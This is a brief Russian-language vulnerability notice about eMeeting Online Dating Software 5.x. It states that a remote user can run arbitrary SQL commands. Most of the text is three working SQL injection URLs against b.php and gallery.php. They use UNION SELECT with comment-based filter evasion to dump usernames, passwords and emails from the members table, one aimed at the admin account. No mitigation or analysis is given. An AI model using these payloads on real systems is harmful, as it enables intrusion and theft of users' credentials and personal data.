Программа: eMeeting Online Dating Software 5.x
Уязвимость позволяет удаленному
пользователю выполнить произвольные SQL
команды в базе данных приложения.
Пример:
http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/
1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/*
http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/
1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/* */members/**/where/**/username=0x61646D696E/*
http://www.site.com/account/gallery.php?p=gal&id=-1/**/UNION/**/ ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,
0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/*
